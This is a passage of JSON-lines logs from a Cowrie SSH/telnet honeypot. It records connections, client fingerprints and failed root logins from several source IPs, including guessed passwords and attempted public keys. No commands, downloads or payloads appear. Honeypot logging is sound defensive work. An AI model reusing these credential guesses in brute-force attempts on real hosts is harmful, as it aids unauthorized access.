{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:00:04.372424Z","src_ip":"87.251.79.125","session":"ae4b290eeb16","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"19771977","message":"login attempt [root/19771977] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:00:04.598515Z","src_ip":"87.251.79.125","session":"ae4b290eeb16","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:00:05.688664Z","src_ip":"87.251.79.125","session":"ae4b290eeb16","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.219.170.37","src_port":55058,"dst_ip":"159.203.135.109","dst_port":22,"session":"1dcac758ac84","protocol":"ssh","message":"New connection: 103.219.170.37:55058 (159.203.135.109:22) [session: 1dcac758ac84]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:00:10.804125Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:00:10.810970Z","src_ip":"103.219.170.37","session":"1dcac758ac84","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:00:11.086137Z","src_ip":"103.219.170.37","session":"1dcac758ac84","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.197.250","src_port":57790,"dst_ip":"159.203.135.109","dst_port":22,"session":"0343dab66531","protocol":"ssh","message":"New connection: 147.45.197.250:57790 (159.203.135.109:22) [session: 0343dab66531]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:00:11.426029Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:00:11.433889Z","src_ip":"147.45.197.250","session":"0343dab66531","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:00:11.531558Z","src_ip":"147.45.197.250","session":"0343dab66531","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"20102010","message":"login attempt [root/20102010] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:00:11.832411Z","src_ip":"147.45.197.250","session":"0343dab66531","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"P@ssw0rd333","message":"login attempt [root/P@ssw0rd333] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:00:11.919161Z","src_ip":"103.219.170.37","session":"1dcac758ac84","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":48842,"dst_ip":"10.17.0.5","dst_port":23,"session":"4d30a1a70bca","protocol":"telnet","message":"New connection: 192.119.13.58:48842 (10.17.0.5:23) [session: 4d30a1a70bca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:00:12.313068Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:00:12.930345Z","src_ip":"147.45.197.250","session":"0343dab66531","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:00:13.201879Z","src_ip":"103.219.170.37","session":"1dcac758ac84","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.80423021316528,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:00:14.215045Z","src_ip":"192.119.13.58","session":"822c73a05441","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.869181156158447,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:00:21.617699Z","src_ip":"192.119.13.58","session":"5c534b94740a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":48.81548833847046,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:00:26.348591Z","src_ip":"192.119.13.58","session":"99bc153bb5a4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.61.173","src_port":33932,"dst_ip":"10.17.0.5","dst_port":22,"session":"4e7f47f11331","protocol":"ssh","message":"New connection: 65.60.61.173:33932 (10.17.0.5:22) [session: 4e7f47f11331]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:00:27.734917Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:00:27.740599Z","src_ip":"65.60.61.173","session":"4e7f47f11331","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:00:27.778472Z","src_ip":"65.60.61.173","session":"4e7f47f11331","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"59:d8:bf:98:2c:7f:3c:0f:ea:9c:37:7f:2a:00:1f:d2","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDBMrRYBhu2BV8VVymqSjvbJZJ+xw4FeRRND4lN6I/5QHJoXReCMVAW1YqFY8+8Qhvv0GdI9208WaXP2NsqqDeEKax5mP5g7TkGUaUyZv7rDzJQQMFO6tqgxP2YA/d1A4B5nOUG3fdioP0qI723KYvpkdIQ8MKTBw8eJPa7FdXNSVjMb0DXa01YE3wNIN1mfYcxPVa+PxIJdZz2HsRxZuklx/2EaylSv5oLAhjtJswETrCEiyiiFWu+30MyOhPQR47bwnWaBODycuTRn0cj3xxJAA/FuT2j4bwL8et3fUcHXN2oAwZi85Kn01elK/HW49BxGfANZ3Qxs9J7M/1yY5pv","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 59:d8:bf:98:2c:7f:3c:0f:ea:9c:37:7f:2a:00:1f:d2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:00:27.911550Z","src_ip":"65.60.61.173","session":"4e7f47f11331","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"59:d8:bf:98:2c:7f:3c:0f:ea:9c:37:7f:2a:00:1f:d2","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDBMrRYBhu2BV8VVymqSjvbJZJ+xw4FeRRND4lN6I/5QHJoXReCMVAW1YqFY8+8Qhvv0GdI9208WaXP2NsqqDeEKax5mP5g7TkGUaUyZv7rDzJQQMFO6tqgxP2YA/d1A4B5nOUG3fdioP0qI723KYvpkdIQ8MKTBw8eJPa7FdXNSVjMb0DXa01YE3wNIN1mfYcxPVa+PxIJdZz2HsRxZuklx/2EaylSv5oLAhjtJswETrCEiyiiFWu+30MyOhPQR47bwnWaBODycuTRn0cj3xxJAA/FuT2j4bwL8et3fUcHXN2oAwZi85Kn01elK/HW49BxGfANZ3Qxs9J7M/1yY5pv","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:00:27.944561Z","src_ip":"65.60.61.173","session":"4e7f47f11331","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"51:8b:43:f7:b7:25:f6:9a:66:66:18:e8:a3:1c:c0:5d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDYNkrE2Kwd80ttTpJ3qwlak4XmSFwKmeeT9u4XinQoFCd0Ah4zn8B7HTdC9QWxIWHlYF8C1uH/XhElPQGFPx10xXK+B/DmZimMQNuAaqtTYIxv/laavSAJ6Gw/QYj1YIZbF8P+kXafL/pC+tz1YjIfLFC3XYuh+f8BIumHfzQmzcEcjxpEElgas86YK2uoB8BrbwKLoWfJdxSBqJUQDYmiLlyxJlVhOJiyxIZOkrItOrtJx00E3Pwlg+RqJapXJG8ysrYXtRv2Dxjm33Fo22QIr+0UmmFU1c7k2AQlepPS+zFSf+Eem/mvVfZ9s9UilwlFYwVqK/Op8uOEj/6m4GMz","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 51:8b:43:f7:b7:25:f6:9a:66:66:18:e8:a3:1c:c0:5d","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:00:27.999843Z","src_ip":"65.60.61.173","session":"4e7f47f11331","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"51:8b:43:f7:b7:25:f6:9a:66:66:18:e8:a3:1c:c0:5d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDYNkrE2Kwd80ttTpJ3qwlak4XmSFwKmeeT9u4XinQoFCd0Ah4zn8B7HTdC9QWxIWHlYF8C1uH/XhElPQGFPx10xXK+B/DmZimMQNuAaqtTYIxv/laavSAJ6Gw/QYj1YIZbF8P+kXafL/pC+tz1YjIfLFC3XYuh+f8BIumHfzQmzcEcjxpEElgas86YK2uoB8BrbwKLoWfJdxSBqJUQDYmiLlyxJlVhOJiyxIZOkrItOrtJx00E3Pwlg+RqJapXJG8ysrYXtRv2Dxjm33Fo22QIr+0UmmFU1c7k2AQlepPS+zFSf+Eem/mvVfZ9s9UilwlFYwVqK/Op8uOEj/6m4GMz","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:00:28.009701Z","src_ip":"65.60.61.173","session":"4e7f47f11331","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"3f:6f:e5:71:e7:a9:53:a7:22:fc:71:5f:b0:ea:23:fb","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDTiycMsvN/+MYe787+fP2X3utVsNAUUsuuV9b8xoDa1KTpAEBFCnMp494/I44SUtRQpf9P7Wen23X4CKQ5Dr1L0nmfkEKjlLV24QdeL1wV07/KUQR47Yhi4d6cMvQ66ncpjSTu3+xSF+twaAOFviSwMV5aoAR55wyyRR0E8eNr+gtrUI6Zu1fOCKibPz/aXSrS885XfLxVXIrytGEMblzPNNweOKIQFWTgnaV2yht5CRmSaLkcp4Gnu62/zOuQGvXC3mUhARRSQRCkfsWUl8/KhtOMFrSgdp7c5eHTsJ5ujQfOCfKRUSV7w3/lLx9WtIrgpdl05C4ftnVDkKbtZr5j","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 3f:6f:e5:71:e7:a9:53:a7:22:fc:71:5f:b0:ea:23:fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:00:28.047383Z","src_ip":"65.60.61.173","session":"4e7f47f11331","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"3f:6f:e5:71:e7:a9:53:a7:22:fc:71:5f:b0:ea:23:fb","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDTiycMsvN/+MYe787+fP2X3utVsNAUUsuuV9b8xoDa1KTpAEBFCnMp494/I44SUtRQpf9P7Wen23X4CKQ5Dr1L0nmfkEKjlLV24QdeL1wV07/KUQR47Yhi4d6cMvQ66ncpjSTu3+xSF+twaAOFviSwMV5aoAR55wyyRR0E8eNr+gtrUI6Zu1fOCKibPz/aXSrS885XfLxVXIrytGEMblzPNNweOKIQFWTgnaV2yht5CRmSaLkcp4Gnu62/zOuQGvXC3mUhARRSQRCkfsWUl8/KhtOMFrSgdp7c5eHTsJ5ujQfOCfKRUSV7w3/lLx9WtIrgpdl05C4ftnVDkKbtZr5j","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:00:28.054038Z","src_ip":"65.60.61.173","session":"4e7f47f11331","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"87:35:74:4a:3c:29:85:43:3f:ed:c3:40:da:6d:93:bd","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDTs8pFD4gJxba7gL3uaEyHF0NRiOOoHvuxGiV5hmDzefb+PRgPpJrIAaMfULvdE8stoGj5UbaHZRKcp9JOzjOTOb58Oj5a4x0tvp/NtaUISfVLxqr7Wy2JnlB1TE5Mpg99wRLSPzsYPMNOb5vQ95D2Eo3Hhhv5wCcGIkeBE12pxY8/txyoLAaTr8HBM0Qep95WYslHd77FW93MF3Xxl7qCPukjF52wml+T/GFTuQzlHQAyQWDX1rLh7E0S0u2AI7rfyMbkfs1Iwe4PWz6RlPmRakbnIAOgaWx2Dx7XH3c5Kd8TY6ArOkwBzt0rqxrLrkxY18ASLIpSxm65UhiQ0e7R","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 87:35:74:4a:3c:29:85:43:3f:ed:c3:40:da:6d:93:bd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:00:28.106197Z","src_ip":"65.60.61.173","session":"4e7f47f11331","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"87:35:74:4a:3c:29:85:43:3f:ed:c3:40:da:6d:93:bd","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDTs8pFD4gJxba7gL3uaEyHF0NRiOOoHvuxGiV5hmDzefb+PRgPpJrIAaMfULvdE8stoGj5UbaHZRKcp9JOzjOTOb58Oj5a4x0tvp/NtaUISfVLxqr7Wy2JnlB1TE5Mpg99wRLSPzsYPMNOb5vQ95D2Eo3Hhhv5wCcGIkeBE12pxY8/txyoLAaTr8HBM0Qep95WYslHd77FW93MF3Xxl7qCPukjF52wml+T/GFTuQzlHQAyQWDX1rLh7E0S0u2AI7rfyMbkfs1Iwe4PWz6RlPmRakbnIAOgaWx2Dx7XH3c5Kd8TY6ArOkwBzt0rqxrLrkxY18ASLIpSxm65UhiQ0e7R","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:00:28.114419Z","src_ip":"65.60.61.173","session":"4e7f47f11331","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"a1:a7:87:b5:09:ab:d1:a9:33:0a:d4:a1:f8:b1:36:e3","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCuacYyjj5Hf4t1J0a2L67FXEEC5VXkJq+ClTt6pIA9UVh6ACYw6xdIhbWiSF3tmH/Fcm4CsHcoEzRXPnumEjGT3nafPk6CasbxBQS+9gg8Xk7wYlNY0a+cydBxTWV+k+aIotpew49236eTcb/jSVKFq+FN08EtIBHAQ1pZDKnmnhexnoBGOYOC8iX81x8nKOoA4tAlzEbI6Et+OI2T4lMJ4i8PeFc02gfHD+CWDhuxgGUfRsG5FR09g1fReGw790pBuLqpIOTIlrnokOuvIy7YQh4rTzKvBea8LAcdmWxGyNoVpXLrLyHufi9dlKYzLncKV/OIfGh4n6YoVgr/BB7x","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint a1:a7:87:b5:09:ab:d1:a9:33:0a:d4:a1:f8:b1:36:e3","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:00:28.148232Z","src_ip":"65.60.61.173","session":"4e7f47f11331","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"a1:a7:87:b5:09:ab:d1:a9:33:0a:d4:a1:f8:b1:36:e3","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCuacYyjj5Hf4t1J0a2L67FXEEC5VXkJq+ClTt6pIA9UVh6ACYw6xdIhbWiSF3tmH/Fcm4CsHcoEzRXPnumEjGT3nafPk6CasbxBQS+9gg8Xk7wYlNY0a+cydBxTWV+k+aIotpew49236eTcb/jSVKFq+FN08EtIBHAQ1pZDKnmnhexnoBGOYOC8iX81x8nKOoA4tAlzEbI6Et+OI2T4lMJ4i8PeFc02gfHD+CWDhuxgGUfRsG5FR09g1fReGw790pBuLqpIOTIlrnokOuvIy7YQh4rTzKvBea8LAcdmWxGyNoVpXLrLyHufi9dlKYzLncKV/OIfGh4n6YoVgr/BB7x","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:00:28.154517Z","src_ip":"65.60.61.173","session":"4e7f47f11331","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.5","message":"Connection lost after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:00:28.196305Z","src_ip":"65.60.61.173","session":"4e7f47f11331","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.88479208946228,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:00:39.531094Z","src_ip":"192.119.13.58","session":"4eeae041bc88","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":60372,"dst_ip":"10.17.0.5","dst_port":23,"session":"f404d8454263","protocol":"telnet","message":"New connection: 192.119.13.58:60372 (10.17.0.5:23) [session: f404d8454263]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:00:42.885653Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":42868,"dst_ip":"10.17.0.5","dst_port":23,"session":"699402da0fb5","protocol":"telnet","message":"New connection: 192.119.13.58:42868 (10.17.0.5:23) [session: 699402da0fb5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:00:52.733745Z"}
{"eventid":"cowrie.session.closed","duration":46.61685299873352,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:00:58.929744Z","src_ip":"192.119.13.58","session":"4d30a1a70bca","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.20.28","src_port":38780,"dst_ip":"10.17.0.5","dst_port":22,"session":"25fefef4f182","protocol":"ssh","message":"New connection: 103.82.20.28:38780 (10.17.0.5:22) [session: 25fefef4f182]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:01:19.777730Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T20:01:19.785362Z","src_ip":"103.82.20.28","session":"25fefef4f182","protocol":"ssh"}
